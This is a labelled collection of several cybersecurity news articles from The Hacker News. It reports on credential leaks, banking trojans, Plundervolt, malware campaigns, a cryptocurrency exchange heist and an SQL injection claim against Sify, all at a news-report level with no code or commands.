360 Million Stolen Credential FOR SALE on Underground Black Market,https://thehackernews.com/2014/02/360-million-stolen-credential-for-sale_27.html,"Your Financial Credentials are on SALE on the Underground Black Market without your Knowledge… sounds like a nightmare, but it's TRUE.

Cyber security firm, Hold Security, said it has traced over 360 million stolen account credentials that are available for Sale on Hacker's black market websites over past three weeks. The credentials include usernames, email addresses, and passwords that are in unencrypted in most cases, according to the report released on Tuesday.

It is not known till now from where these credentials exactly were stolen, but the security researchers estimated that these credentials are a result of multiple breaches. Since the banking credentials are one of the most 'valuable bounties' for the cyber criminals, and the ways to steal these credentials can be directly from the companies and from the services in which users entrust data as well.

According to Hold Security, in addition to the sale of 360 million credentials, the cyber criminals are selling about 1.25 billion email addresses, which would be of an interest to the spammers.

Alex Holden, chief information security officer at Hold Security, told Reuters, ""E-mail addresses in the credentials are from all major services, including Gmail and Yahoo, and almost all Fortune 500 companies and nonprofit organizations,"" and that his company is working to discover where the credentials came from and what they can access.

The sale of this tremendous number of users' credentials in the underground market can risk consumers and companies, because these wide ranges of compromised users' credentials could access anything from online bank accounts to corporate networks.
""The sheer volume is overwhelming,"" Holden told Reuters, adding, ""He believes the 360 million records were obtained in separate attacks, including one that yielded some 105 million records, which would make it the largest single credential breaches known to date.""
Hold security is the one, which uncovered the ever big Adobe breach in October 2013, in which 153 million users' credentials, including user names and passwords were stolen from Adobe system, and a month later identified another large breach of 42 million plain-text password credentials from a niche dating service Cupid Media.

There is no way out to secure yourself from these types of attacks because cyber criminals are trying to heist your money every second of time and by using the same password for multiple accounts, you yourself give them an open invitation.

You can reduce the risk of these attacks by choosing different passwords for different accounts, as the risks are more for the users who choose the same password for multiple services they adopt, because once an attacker has your single account's email address and password, he can use those credentials to compromise your every other sites account that uses the same username and password.

Only the best practical way to do that is with a best password manager. If you aren't using a password manager, you need to start now, like LastPass, KeePass, RoboForm Desktop 7, PasswordBox, and Dashlane 2.0.

Stay Safe! Stay Secure! Stay Tuned!

",Data_Breaches
16 Cybercriminals Behind Mekotio and Grandoreiro Banking Trojan Arrested in Spain,https://thehackernews.com/2021/07/16-cybercriminals-behind-mekotio-and.html,"Spanish law enforcement agencies on Wednesday arrested 16 individuals belonging to a criminal network in connection with operating two banking trojans as part of a social engineering campaign targeting financial institutions in Europe.
The arrests were made in Ribeira (A Coruña), Madrid, Parla and Móstoles (Madrid), Seseña (Toledo), Villafranca de los barros (Badajoz), and Aranda de Duero (Burgos) following a year-long investigation codenamed ""Aguas Vivas"", the Civil Guard said in a statement.
""Through malicious software, installed on the victim's computer by the technique known as 'email spoofing', [the group] would have managed to divert large amounts of money to their accounts,"" authorities noted.
Computer equipment, mobile phones, and documents were confiscated, and more than 1,800 spam emails were analyzed, enabling law enforcement to block transfer attempts totaling €3.5 million successfully. The campaign is said to have netted the actors €276,470, of which €87,000 has been successfully recovered.
As part of an effort to lend credibility to their phishing attacks, the operators worked by sending emails under the guise of legitimate package delivery services and government entities such as the Treasury, urging the recipients to click on a link that stealthily downloaded malicious software onto the systems.
The malware — dubbed ""Mekotio"" and ""Grandoreiro"" — functioned by intercepting transactions on a banking website to unauthorizedly siphon funds to accounts under the attackers' control. At least 68 email accounts belonging to official bodies were infected to facilitate such fraudulent transfers.
""After that, the money was diversified by sending it to other accounts, or by withdrawing cash at ATMs, transfers by BIZUM, REVOLUT cards, etc., in order to hinder the possible police investigation,"" the Civil Guard said.
Grandoreiro and Mekotio (aka Melcoz) are both part of a ""Tetrade"" of Brazilian banking trojans as detailed by cybersecurity firm Kaspersky in July 2020, while the latter's evolving tactics were disclosed by ESET in August 2020, which involved displaying fake pop-up windows to its victims in an attempt to entice them into divulging sensitive information.
""These windows are carefully designed to target Latin American banks and other financial institutions,"" the Slovak cybersecurity company had noted.
Operational since at least 2016, Grandoreiro has a history of singling out Brazil, Mexico, Spain, Portugal, and Turkey, ""with the attackers regularly improving techniques, striving to stay undetected and active for longer periods of time."" Mekotio, on the other hand, has been observed in attacks targeting Brazil and dating back to 2018, before expanding to Chile, Mexico, and Spain.
""[Mekotio] steals passwords from browsers and from the device's memory, providing remote access to capture internet banking access,"" Kaspersky researchers explained in a report published Wednesday. ""It also includes a Bitcoin wallet stealing module.""
To avoid falling prey to such attacks, the agency is recommending that email and SMS recipients scrutinize messages carefully, particularly if it is about entities with urgent requests, promotions, or very attractive bargains, while also taking steps to be on the lookout for grammatical errors and ensure the authenticity of the sender of the message.

",Malware
Millions of pcAnywhere users still Vulnerable to hijacking,https://thehackernews.com/2012/02/millions-of-pcanywhere-users-still.html,"Millions of pcAnywhere users still Vulnerable to hijacking



3 weeks before we reported that Symantec releases patch to address pcAnywhere source code exposure, because attackers had obtained the remote access software's source code. But According to H.D. Moore, chief security officer at Rapid7, estimated 150,000 to 200,000 PCs are running an as-yet-unpatched copy of the Symantec software.

While Symantec said it had patched all the known vulnerabilities in pcAnywhere. Symantec has released new information and a patch to address the recent code exposure incident. According to Computerworld report, PCs connected to the Internet, including as many as 5,000 running point-of-sale programs that collect consumer credit card data, could be hijacked by hackers exploiting bugs in the troubled program.

Symantec released a patch that eliminates known vulnerabilities affecting pcAnywhere 12.0 and pcAnywhere 12.1.At this time, Symantec recommends that all customers upgrade to pcAnywhere 12.5, apply all relevant patches as they are released, and follow general security best practices.

Moore said, even though Symantec has patched some flaws. With the source code at their disposal and the software's problems highlighted in the media, researchers on both sides of the law will spend time looking for vulnerabilities.

",Vulnerability
New PlunderVolt Attack Targets Intel SGX Enclaves by Tweaking CPU Voltage,https://thehackernews.com/2019/12/intel-sgx-voltage-attack.html,"A team of cybersecurity researchers demonstrated a novel yet another technique to hijack Intel SGX, a hardware-isolated trusted space on modern Intel CPUs that encrypts extremely sensitive data to shield it from attackers even when a system gets compromised.

Dubbed Plundervolt and tracked as CVE-2019-11157, the attack relies on the fact that modern processors allow frequency and voltage to be adjusted when needed, which, according to researchers, can be modified in a controlled way to induce errors in the memory by flipping bits.

Bit flip is a phenomenon widely known for the Rowhammer attack wherein attackers hijack vulnerable memory cells by changing their value from 1 to a 0, or vice versa—all by tweaking the electrical charge of neighboring memory cells.

However, since the Software Guard Extensions (SGX) enclave memory is encrypted, the Plundervolt attack leverages the same idea of flipping bits by injecting faults in the CPU before they are written to the memory.

Plundervolt resembles more with speculative execution attacks like Foreshadow and Spectre, but while Foreshadow and Spectre attack the confidentiality of SGX enclave memory by allowing attackers to read data from the secured enclave, Plundervolt attacks the integrity of SGX to achieve the same.

To achieve this, Plundervolt depends upon a second known technique called CLKSCREW, a previously documented attack vector that exploits energy management of CPU to breach hardware security mechanisms and take control over a targeted system.

""We show that a privileged adversary is able to inject faults into protected enclave computations. Crucially, since the faults happen within the processor package, i.e., before the results are committed to memory, Intel SGX's memory integrity protection fails to defend against our attacks,"" the researchers said.




As demonstrated by the researchers in the videos, by subtly increasing or decreasing the voltage delivered to a targeted CPU, an attacker can trigger computational faults in the encryption algorithms used by SGX enclaves, allowing attackers to easily decrypt SGX data.

""We demonstrate the effectiveness of our attacks by injecting faults into Intel's RSA-CRT and AES-NI implementations running in an SGX enclave, and we reconstruct full cryptographic keys with negligible computational efforts,"" the researchers said.

""Given a pair of correct and faulty ciphertext on the same plaintext, this attack is able to recover the full 128-bit AES key with a computational complexity of only 232+256 encryptions on average. We have run this attack in practice, and it only took a couple of minutes to extract the full AES key from the enclave, including both fault injection and key computation phases.""

Plundervolt attack, which affects all SGX-enabled Intel Core processors starting with the Skylake generation, was discovered and privately reported to Intel in June 2019 by a team of six European researchers from the University of Birmingham, Graz University of Technology, and KU Leuven.

In response to the researchers' findings, Intel yesterday released microcode and BIOS updates to address Plundervolt by locking voltage to the default settings, along with 13 other high and medium severity vulnerabilities.

""Intel has worked with system vendors to develop a microcode update that mitigates the issue by locking voltage to the default settings,"" Intel's blog post published today reads. ""We are not aware of any of these issues being used in the wild, but as always, we recommend installing security updates as soon as possible.""

Here's the list of CPU models affected by the Plundervolt attack:

Intel 6th, 7th, 8th, 9th & 10th Generation Core Processors
Intel Xeon Processor E3 v5 & v6
Intel Xeon Processor E-2100 & E-2200 Families
For the full list of affected products, you can head on to Intel's security advisory INTEL-SA-00289.

Besides releasing a proof-of-concept (PoC) on GitHub, the team has also released a dedicated website with FAQs and detailed technical paper [PDF] titled, Plundervolt: Software-based Fault Injection Attacks against Intel SGX, that you can check to know in-depth details on the attack.
",Vulnerability
iPhone Chip Supplier TSMC Stops Production After Computer Virus Attack,https://thehackernews.com/2018/08/tsmc-iphone-computer-virus.html,"Taiwan Semiconductor Manufacturing Company (TSMC)—Apple's sole supplier of SoC components for iPhones and iPads, and Qualcomm's major manufacturing partner—shut down several of its chip-fabrication factories Friday night after being hit by a computer virus.

The world's largest makers of semiconductors and processors TSMC lost an entire day of production after several of its factories systems were halted by a computer virus in the middle of the ramp-up for chips to be used by Apple's future lines of iPhones.

Though the popular chip maker has been attacked by viruses in the past, this is the first time a virus has affected TSMC's production lines, making the incident a real big deal.

Without revealing many details, TSMC said a number of its computer systems and fabrication tools were infected by the virus on Friday night, but since then it has recovered 80% of its impacted equipment, though others will be recovered by tomorrow.

According to TSMC, the computer virus was not released into the fabrication factories by any hacker.

Here's what happened according to the company:
""This virus outbreak occurred due to misoperation during the software installation process for a new tool, which caused a virus to spread once the tool was connected to the Company's computer network,"" TSMC said in a statement.

""Data integrity and confidential information was not compromised. TSMC has taken actions to close this security gap and further strengthen security measures.""
TSMC Expects Attack to Inflict 250 Million Loss in Revenue

However, it remains unclear how the virus infected the factories at the first place and who was responsible for it, and also, the company did not confirm if the affected facilities were involved in making iPhone chips.

TSMC expects the shutdown will result in shipment delays and additional costs, and estimated that two days of outages will impact revenue by about 3 percent (approx. 250 Million), but is confident shipments delayed in the third quarter will be recovered in the fourth quarter 2018.

Being the exclusive provider of Apple's A-series chipsets for 2018, TSMC started mass production of the 7-nanometer A12 chip in May seemingly destined to power the upcoming iPhone models.

The 2018 iPhone models, which are expected to be officially announced on the 11th or 12th of September this year, will most likely include the A12 processor as the iPhone 8, iPhone 8 Plus, and iPhone X included the A11.

However, it is unclear if the shut down would result in a delayed release for the devices.

TSMC said the company has notified its customers of the event and added that it will work closely with them on their wafer deliveries. The details of the incident will be conveyed to each customer individually over the next few days.

The chipmaker giant, which builds chips for many of the industry's biggest tech companies, including Apple, AMD, NVIDIA, and Qualcomm, promised more information about the incident on August 6th.

",Cyber_Attack
ISPs Caught Injecting Cryptocurrency Miners and Spyware In Some Countries,https://thehackernews.com/2018/03/cryptocurrency-spyware-malware.html,"Governments in Turkey and Syria have been caught hijacking local internet users' connections to secretly inject surveillance malware, while the same mass interception technology has been found secretly injecting browser-based cryptocurrency mining scripts into users' web traffic in Egypt.

Governments, or agencies linked to it, and ISPs in the three countries are using Deep Packet Inspection technology from Sandvine (which merged with Procera Networks last year), to intercept and alter Internet users' web traffic.

Deep packet inspection technology allows ISPs to prioritize, degrade, block, inject, and log various types of Internet traffic, in other words, they can analyze each packet in order to see what you are doing online.

According to a new report by Citizen Lab, Turkey's Telecom network was using Sandvine PacketLogic devices to redirect hundreds of targeted users (journalists, lawyers, and human rights defenders) to malicious versions of legitimate programs bundled with FinFisher and StrongPity spyware, when they tried to download them from official sources.
""This redirection was possible because official websites for these programs, even though they might have supported HTTPS, directed users to non-HTTPS downloads by default,"" the report reads.

A similar campaign has been spotted in Syria, where Internet users were silently redirected to malicious versions of the various popular application, including Avast Antivirus, CCleaner, Opera, and 7-Zip applications bundled with government spyware.

In Turkey, Sandvine PacketLogic devices were being used to block websites like Wikipedia, the sites of the Dutch Broadcast Foundation (NOS) and Kurdistan Workers' Party (PKK).

ISPs Injected Cryptocurrency Mining Scripts Into Users' Web Browsers
However, in Egypt, Sandvine PacketLogic devices were being used by a Telecom operator for making money by:
Secretly injecting a cryptocurrency mining script into every HTTP web page users visited in order to mine the Monero cryptocurrency,
Redirecting Egyptian users to web pages with affiliate ads.
In Egypt, these devices were also being used to block access to human rights, political, and news outlets like Al Jazeera, HuffPost Arabic, Reporters Without Borders, and Mada Masr, as well as NGOs like Human Rights Watch.

Citizen Lab researchers reported Sandvine of their findings, but the company called their report ""false, misleading, and wrong,"" and also demanded them to return the second-hand PacketLogic device they used to confirm attribution of their fingerprint.

Citizen Lab started this investigation in September last year after ESET researchers published a report revealing that the downloads of several popular apps were reportedly compromised at the ISP level in two (unnamed) countries to distribute the FinFisher spyware.

",Malware
New Citadel Trojan Targets Your Password Managers,https://thehackernews.com/2014/11/new-citadel-trojan-targets-your.html,"Unless we are a human supercomputer, remembering password is not an easy task and that too, if you have a different password for every different site. But luckily to make the whole process easy, there is a growing market for password managers which provides an extra layer of protection. Wait! Wait! Seriously??

Security researchers have discovered a new variant of data-stealing Citadel Trojan program used by cybercriminals to slurp up users' master passwords for a number of password management applications and other authentication programs, which will let you think twice before using one.

Citadel Trojan malware program has typically been used to steal online banking credentials and other financial information by masquerading itself as legitimate banking sites when victims open it in their local browser, which is also known as a man-in-the-browser attack.

The malware has previously targeted users' credentials stored in the password management applications included in popular Web browsers, however, third-party best password managers have typically not been targeted by the attackers.

But, researchers at IBM Trusteer noted that the configuration file of the notorious malware had been modified to activate a keylogger when users opened either Password Safe or KeePass, two open-source password managers. Designed to steal the ""Master Password"" that protects access to the database of the end-user's passwords.
""Password management and authentication programs are important solutions that help secure access to applications and Web Services,"" Dana Tamir, director of enterprise security at Trusteer, wrote on IBM's Security Intelligence blog.
""If an adversary is able to steal the master password and gains access to the user/password database of a password management solution or compromise authentication technology, the attacker can gain unfettered access to sensitive systems and information.""
In addition, the new Citadel variant also targets the enterprise authentication solution Nexus Personal Security Client used to secure financial transactions and other services that require heightened security, according to research from data-protection company IBM Trusteer.

Once the malware infected a computer, it waits until one of the configured process is launched. The malware then logs keystrokes to steal the master passwords, allowing cybercriminals complete control over the machine and victims' every online account protected by that password manager.

The Citadel Trojan has been in existence since 2011 that has already compromised millions of computers around the world. According to the security researchers, Citadel is ""highly evasive and can bypass threat detection systems.""
""[The Citadel variant] might be an opportunistic attack, where the attackers are trying to see which type of information they can expose through this configuration, or a more targeted attack in which the attackers know that the target is using these specific solutions,"" reads the blog.
In June last year, the tech giant Microsoft along with the FBI and financial services companies launched a ""takedown"" operation against Citadel botnets, which had stolen more than $500 million from bank accounts over the past 18 months. At the time, the group claimed it disrupted more than 90% of Citadel botnets.

",Malware
Security holes in Android with apps Advertisements,https://thehackernews.com/2012/03/security-holes-in-android-with-apps.html,"Security holes in Android with apps Advertisements

Researchers at North Carolina State University have found privacy and security holes in Android apps because of in-application advertisements. They study the popular Android platform and collect 100,000 apps from the official Android Market in March-May, 2011 and Then they identify the possible 52.1% apps using Advertisements and further developa system called AdRisk to systematically identify potentialrisks.

They explain that most of the ad libraries collect private information, some ofthem may be used for legitimate targeting purposes (i.e., the user'slocation) while others are hard to justify by invasively collectingthe information such as the user's call logs, phone number, browserbookmarks, or even the list of installed apps on the phone.

The researchers wrote in a paper to be presented at the 5th ACM Conference on Security and Privacy in Wireless and Mobile Networks in Tucson on April 17th, [Read Here]

As one host app may contain more than one ad library, it seems more than one third of apps (or more precisely 35, 991) contain one ad library and a small fraction ofapps (around 3%) include at least five ad libraries for monetization.

Such threats range from collecting unnecessarily intrusive user information to allowing third-party code of unknown provenance to execute within the hosting app. Since Android's permissions model cannot distinguish between actions performed by an ad library and those performed by its hosting app, the current Android system provides little indication of the existence of these threats within any given app, which necessitates a change in the way existingad libraries can be integrated into host apps.

",Vulnerability
4 Dangerous Brazilian Banking Trojans Now Trying to Rob Users Worldwide,https://thehackernews.com/2020/07/brazilian-banking-trojan.html,"Cybersecurity researchers on Tuesday detailed as many as four different families of Brazilian banking trojans that have targeted financial institutions in Brazil, Latin America, and Europe.

Collectively called the ""Tetrade"" by Kaspersky researchers, the malware families — comprising Guildma, Javali, Melcoz, and Grandoreiro — have evolved their capabilities to function as a backdoor and adopt a variety of obfuscation techniques to hide its malicious activities from security software.

""Guildma, Javali, Melcoz and Grandoreiro are examples of yet another Brazilian banking group/operation that has decided to expand its attacks abroad, targeting banks in other countries,"" Kaspersky said in an analysis.

""They benefit from the fact that many banks operating in Brazil also have operations elsewhere in Latin America and Europe, making it easy to extend their attacks against customers of these financial institutions.""

A Multi-Stage Malware Deployment Process

Both Guildma and Javali employ a multi-stage malware deployment process, using phishing emails as a mechanism to distribute the initial payloads.

Kaspersky found that Guildma has not only added new features and stealthiness to its campaigns since its origin in 2015, but it has also expanded to new targets beyond Brazil to attack banking users in Latin America.

A new version of the malware, for example, uses compressed email attachments (e.g., .VBS, .LNK) as an attack vector to cloak the malicious payloads or an HTML file which executes a piece of JavaScript code to download the file and fetch other modules using a legitimate command-line tool like BITSAdmin.

On top of all that, it takes advantage of NTFS Alternate Data Streams to conceal the presence of the downloaded payloads in the target systems and leverages DLL Search Order Hijacking to launch the malware binaries, only proceeding further if the environment is free of debugging and virtualization tools.


""In order to execute the additional modules, the malware uses the process hollowing technique for hiding the malicious payload inside a whitelisted process, such as svchost.exe,"" Kaspersky said. These modules are downloaded from an attacker-controlled server, whose information is stored in Facebook and YouTube pages in an encrypted format.

Once installed, the final payload monitors for specific bank websites, which, when opened, triggers a cascade of operations that allow the cybercriminals to perform any financial transaction using the victim's computer.

Javali (active since November 2017), similarly, downloads payloads sent via emails to fetch a final-stage malware from a remote C2 that's capable of stealing financial and login information from users in Brazil and Mexico who are visiting cryptocurrency websites (Bittrex) or payment solutions (Mercado Pago).

Stealing Passwords and Bitcoin Wallets

Melcoz, a variant of the open-source RAT Remote Access PC, has been linked to a string of attacks in Chile and Mexico since 2018, with the malware having the ability to pilfer passwords from browsers, and information from clipboard and Bitcoin wallets by replacing the original wallet details with a dubious alternative owned by the adversaries.

It makes use of VBS scripts in installer package files (.MSI) to download the malware on the system and subsequently abuses AutoIt interpreter and VMware NAT service to load the malicious DLL on the target system.

""The malware enables the attacker to display an overlay window in front of the victim's browser to manipulate the user's session in the background,"" the researchers said. ""In this way, the fraudulent transaction is performed from the victim's machine, making it harder to detect for anti-fraud solutions on the bank's end.""

Furthermore, a threat actor can also request specific information that's asked during a bank transaction, such as a one-time password, thereby bypassing two-factor authentication.


And lastly, Grandoreiro has been tracked to a campaign spread across Brazil, Mexico, Portugal, and Spain since 2016, enabling attackers to perform fraudulent banking transactions by using the victims' computers for circumventing security measures used by banks.

The malware itself is hosted on Google Sites pages and delivered via compromised websites and Google Ads or spear-phishing methods, in addition to using Domain Generation Algorithm (DGA) for hiding the C2 address used during the attack.

""Brazilian crooks are rapidly creating an ecosystem of affiliates, recruiting cybercriminals to work with in other countries, adopting MaaS (malware-as-a-service) and quickly adding new techniques to their malware as a way to keep it relevant and financially attractive to their partners,"" Kaspersky concluded.

""As a threat, these banking trojan families try to innovate by using DGA, encrypted payloads, process hollowing, DLL hijacking, a lot of LoLBins, fileless infections and other tricks as a way of obstructing analysis and detection. We believe that these threats will evolve to target more banks in more countries.""

",Cyber_Attack
"FBI warning about Banking trojan ""Gameover""",https://thehackernews.com/2012/01/fbi-warning-about-banking-trojan.html,"FBI warning about Banking trojan ""Gameover""


Organized crooks have begun launching debilitating cyber attacks against banks and their customers as part of a smoke screen to prevent victims from noticing simultaneous high-dollar cyber heists. On Friday the FBI issued a warning about a banking trojan named Gameover. It's a new variant of Zeus, a user credential stealing malware that targets online bank users. Zeus has been around for years, and every now and then a new version with a new twist pops up.

Gameover has also been implicated in Distributed-Denial-of-Service attacks that temporarily-disable bank websites to draw attention away from fraudulent transactions. Like another Zeus variant, Troj/BredoZp-GY, Gameover uses e-mail spam to propagate, and the safest way to keep Gameover away from your PC is to avoid links and file attachments that are contained in unfamiliar e-mail messages.

Experts warn that any interaction with this fake NACHA link can infect your PC with the Gameover banking Trojan, which will attempt to steal bank-related information while Gameover hides its own actions from site. Gameover Trojan it must be removed immediately to make your computer clean and safe.

How do you avoid bank trojans? - ( from Norman Blog )
Never, ever click on links (in email) that encourage you to ""update your account information"", ""check if your account has been compromised"" or similar.
Always, always login to your bank by typing the address in the browser url bar.
Make sure your browser and operating system are always updated. Never, ever click ""Later"" when your browser or OS prompts you about a new security update.
Keep you antivirus up to date. An advanced security solution will detect any harmful sites and block any malicious files, so that you don't have to.

Because Gameover and similar forms of banking Trojans are designed to conduct their attacks in a clandestine manner, you may not see much sign of Gameover on your PC, other than some anomalies in RAM usage or file processes. However, a successful Gameover infection can be the cause of :
Loss of account login data and other forms of information that are used in bank-related websites.
Loss of other forms of information that are gathered through keylogging (a broad form of spyware attack that monitors all types of keyboard input).
Fraudulent transactions from your bank account due to abuse of any information that was stolen in the above attacks.
DDoS (or Distributed-Denial-of-Service) attacks that crash your bank's website to limit your access and conceal these transactions.
Read Here the Method to Remove ""Gameover"" from infected computers.

",Malware
Someone Stole Almost Half a BILLION Dollars from Japanese Cryptocurrency Exchange,https://thehackernews.com/2018/01/coincheck-cryptocurrency-heist.html,"Coincheck, a Tokyo-based cryptocurrency exchange, has suffered what appears to be the biggest hack in the history of cryptocurrencies, losing $532 million in digital assets (nearly $420 million in NEM tokens and $112 in Ripples).

In 2014, Mt Gox, one of the largest bitcoin exchange at that time, filed for bankruptcy after admitting it had lost $450 million worth of Bitcoins.

Apparently, the cryptocurrency markets reacted negatively to the news, which resulted in 5% drop in Bitcoin price early this morning.

In a blog post published today, the Tokyo-based cryptocurrency exchange confirmed the cyber heist without explaining how the tokens were stolen, and abruptly froze most of its services, including deposits, withdrawals and trade of almost all cryptocurrencies, except Bitcoin.

Coincheck also said the exchange had even stopped deposits into NEM cryptocurrencies, which resulted in 16.5% drop in NEM coin value, as well as other deposit methods including credit cards.

During a late-night press conference at the Tokyo Stock Exchange, Coincheck Inc. co-founder Yusuke Otsuka also said that over 500 million NEM tokens (then worth around $420 million) were taken from Coincheck's digital wallets on Friday, but the company didn't know how the tokens went missing, according to new source Asahi.

The digital-token exchange has already reported the incident to the law enforcement authorities and to Japan's Financial Services Agency to investigate the cause of the missing tokens.
""We will report on the damage situation and cause of the case, measures to prevent recurrence, but first we would like you to take every possible measure to protect our customers,"" said Executives of the Financial Services Agency (translated).
This incident marks yet another embarrassing hack in the world of digital currency technology, once again reminding us that the volatility in cryptocurrency prices is not going away anytime soon.

So far, the exchange has not provided any official statement regarding the cause of this hack. We will keep you updated about this incident. Stay Tuned!

",Cyber_Attack
North Korean Hackers Targeting Defense Firms with ThreatNeedle Malware,https://thehackernews.com/2021/02/north-korean-hackers-targeting-defense.html,"A prolific North Korean state-sponsored hacking group has been tied to a new ongoing espionage campaign aimed at exfiltrating sensitive information from organizations in the defense industry.
Attributing the attacks with high confidence to the Lazarus Group, the new findings from Kaspersky signal an expansion of the APT actor's tactics by going beyond the usual gamut of financially-motivated crimes to fund the cash-strapped regime.
This broadening of its strategic interests happened in early 2020 by leveraging a tool called ThreatNeedle, researchers Vyacheslav Kopeytsev and Seongsu Park said in a Thursday write-up.
At a high level, the campaign takes advantage of a multi-step approach that begins with a carefully crafted spear-phishing attack leading eventually to the attackers gaining remote control over the devices.
ThreatNeedle is delivered to targets via COVID-themed emails with malicious Microsoft Word attachments as initial infection vectors that, when opened, run a macro containing malicious code designed to download and execute additional payloads on the infected system.
The next-stage malware functions by embedding its malicious capabilities inside a Windows backdoor that offers features for initial reconnaissance and deploying malware for lateral movement and data exfiltration.
""Once installed, ThreatNeedle is able to obtain full control of the victim's device, meaning it can do everything from manipulating files to executing received commands,"" Kaspersky security researchers said.
Kaspersky found overlaps between ThreatNeedle and another malware family called Manuscrypt that has been used by Lazarus Group in previous hacking campaigns against the cryptocurrency and mobile games industries, besides uncovering connections with other Lazarus clusters such as AppleJeus, DeathNote, and Bookcode.
Interestingly, Manuscrypt was also deployed in a Lazarus Group operation last month, which involved targeting the cybersecurity community with opportunities to collaborate on vulnerability research, only to infect victims with malware that could cause the theft of exploits developed by the researchers for possibly undisclosed vulnerabilities, thereby using them to stage further attacks on vulnerable targets of their choice.
Perhaps the most concerning of the development is a technique adopted by the attackers to bypass network segmentation protections in an unnamed enterprise network by ""gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the intranet network to their remote server.""
The cybersecurity firm said organizations in more than a dozen countries have been affected to date.
At least one of the spear-phishing emails referenced in the report is written in Russian, while another message came with a malicious file attachment named ""Boeing_AERO_GS.docx,"" possibly implying a U.S. target.
Earlier this month, three North Korean hackers associated with the military intelligence division of North Korea were indicted by the U.S. Justice Department for allegedly taking part in a criminal conspiracy that attempted to extort $1.3 billion in cryptocurrency and cash from banks and other organizations around the world.
""In recent years, the Lazarus group has focused on attacking financial institutions around the world,"" the researchers concluded. ""However, beginning in early 2020, they focused on aggressively attacking the defense industry.""
""While Lazarus has also previously utilized the ThreatNeedle malware used in this attack when targeting cryptocurrency businesses, it is currently being actively used in cyberespionage attacks.""

",Cyber_Attack
Dynamic Analysis tools for Android Fail to Detect Malware with Heuristic Evasion Techniques,https://thehackernews.com/2014/05/dynamic-analysis-tools-for-android-fail.html,"We are quite aware of the Android malware scanner Google's Bouncer that tests the apps by running them in a virtualized environment i.e. a simulated phone created in software which automatically scans the apps to watch its real behaviour on users' devices, before approving them to the Play Store market.

To protect its users and their devices from harm, Google launched this apps scanning software tool, two year ago. Bouncer is a security feature for the Android Play store Market that is designed to protect the Android users to not to be a victim of any malicious Android malware app. But does the security tool go far enough?

Despite having protective shield factor, we have seen Google play store market is surrounded by many malicious apps which easily by-passes the Bouncer scan test and targets Android users.

Security Research from Columbia University have exploited weaknesses in Google's Bouncer service to sneak malicious apps on to the Android market. They published a new research paper, revealed that all such dynamic analysis tools and services are vulnerable to most of the evasion techniques they discovered.

Along with the Google bouncer, other Heuristic analysis (Dynamic) analysis tools detect malicious application based on previous knowledge of typical sequences of commands in code or of metadata (static analysis), or on behavior (dynamic analysis).

The research paper [pdf] titled ""Rage Against the Virtual Machine: Hindering Dynamic Analysis of Android Malware"" was conducted by the team of five researchers, Thanasis Petsas, Giannis Voyatzis, Elias Athanasopoulos, Michalis Polychronakis and Sotiris Ioannidis of the Institute of Computer Science from the Columbia University, USA.

They created some malware samples, those were able to hide themselves when analyzed in an emulated environment and hence developed the capability to bypass the heuristic-based dynamic and static analysis platforms, such as Andrubis, DroidBox, DroidScope, APK Analyzer, or APKScan.

""A malicious program can try to infer whether it runs in an emulated environment, and therefore evade detection by pausing all malicious activities."" the researchers said. ""Even trivial techniques, such as checking the value of the IMEI, are enough to evade some of the existing dynamic analysis frameworks.""
The team modified some real-world Android Malware to include the bypass techniques for heuristic-based detection and tested them against a number of dynamic analysis tools. ""To assess the effectiveness of our techniques, we incorporated them in real malware samples and submitted them to publicly available Android dynamic analysis systems, with alarming results,"" they added.

LAB TEST RESULTS
All analyses tools failed to beat the heuristic evasion techniques.
All analysis tools failed to correctly infer the malicious behavior of the repackaged malware samples.
Malware writers can fingerprint the most of the analysis services based on inferred information about their execution environment in order to develop more sophisticated and perfect evasion techniques.
Only one tool, called 'APK Analyzer' was able to detect that malware application is looking for the virtual machine status to hinder analysis.
""However Google's Bouncer would have the smarts to detect the slippery malware if it were upgraded with realistic sensor event simulation, more accurate binary translation and hybrid application execution."" Register reported.

FAILURE IN DETECTION = THREAT TO USERS
Mobile malwares can pose a significant threat to the users. However, most of the evasion techniques are not new, but the paper shows that the malware authors are constantly evolving and can always find new ways to get around the security check.

So malware may not only fool automated analysis systems, but this failure also raise security threat against your innocent devices by compromising them with undetectable malware. End users are advised to be extra vigilant when install application from App Stores and have the ""Unknown sources"" Android system setting unchecked to prevent dropped or drive-by-download app installs.

",Malware
Super 'Stuxnet' Malware development in progress to destroy Iran's nuclear program,https://thehackernews.com/2013/12/Stuxnet-2-Saudi-Arabia-Israel-Iran-nuclear-plant-virus.html,"Saudi Arabia and Israel's Mossad intelligence division are reportedly collaborating to develop a computer worm more destructive than the Stuxnet malware to spy on and destroy the software structure of Iran's nuclear program.
The Iranian Fars news agency has reported:
""Saudi spy chief Prince Bandar bin Sultan bin Abdulaziz Al Saud and director of Israel's Mossad intelligence agency Tamir Bardo sent their representatives to a meeting in Vienna on November 24 to increase the two sides' cooperation in intelligence and sabotage operations against Iran's nuclear program.""
""One of the proposals raised in the meeting was the production of a malware worse than the Stuxnet to spy on and destroy the software structure of Iran's nuclear program,""
But Why ? The report claims that Saudi Arabia and Israel were not particularly happy with the deal between between Iran and the Group 5+1 (the US, Russia, China, France and Britain plus Germany) and Israel has dubbed the deal as ""historic mistake"" while Saudi Arabia has called it ""West's treachery"".

The report also adds that the two counties have agreed to a cost of around $1 million to develop this malware.

The Real Stuxnet - The original Stuxnet malware was uncovered targeting Iranian nuclear systems in 2010, most likely infected isolated systems by way of removable storage devices like USB flash drives and by exploiting vulnerabilities in Windows systems. The malware has since managed to spread outside of Iran and has affected several other power plants, some close to Europe.

NSA leaker Edward Snowden even confirmed that Stuxnet Malware was developed by the US and Israel Together. What Next ? Tehran is getting seriously worried about the Saudi-Israeli intelligence partnership and the prospect of them acting together for covert operations, including cyber warfare, against their nuclear projects.

Recently Stuxnet also infected the internal network of a Russian nuclear plant. But what if this new destructive malware did get into other computers what the effect would be?

",Malware
Sify.com hacked with SQL Injection Vulnerability,https://thehackernews.com/2011/07/sifycom-hacked-with-sql-injection.html,"Sify.com hacked with SQL Injection Vulnerability


Sify's website contain SQL injection Vulnerability and Hackers are able to Database Access, Database Dump, Possibility of shell uploading.

Sify is one of India's leading integrated Information Communications Technology companies. Sify was one of the first private sector player to offer internet access, when internet access was opened to private sector. It leased international bandwidth from global vendors, domestic connectivity from telecom players and set up last mile connectivity by multiple methods: wi-fi connections using roof top antennae, copper connections using phone lines or cable TV connections. Sify also started providing internet network connectivity for business enterprises in India. Sify set up a chain of franchised internet cafes (today a network of over 3,300+ cybercafes).





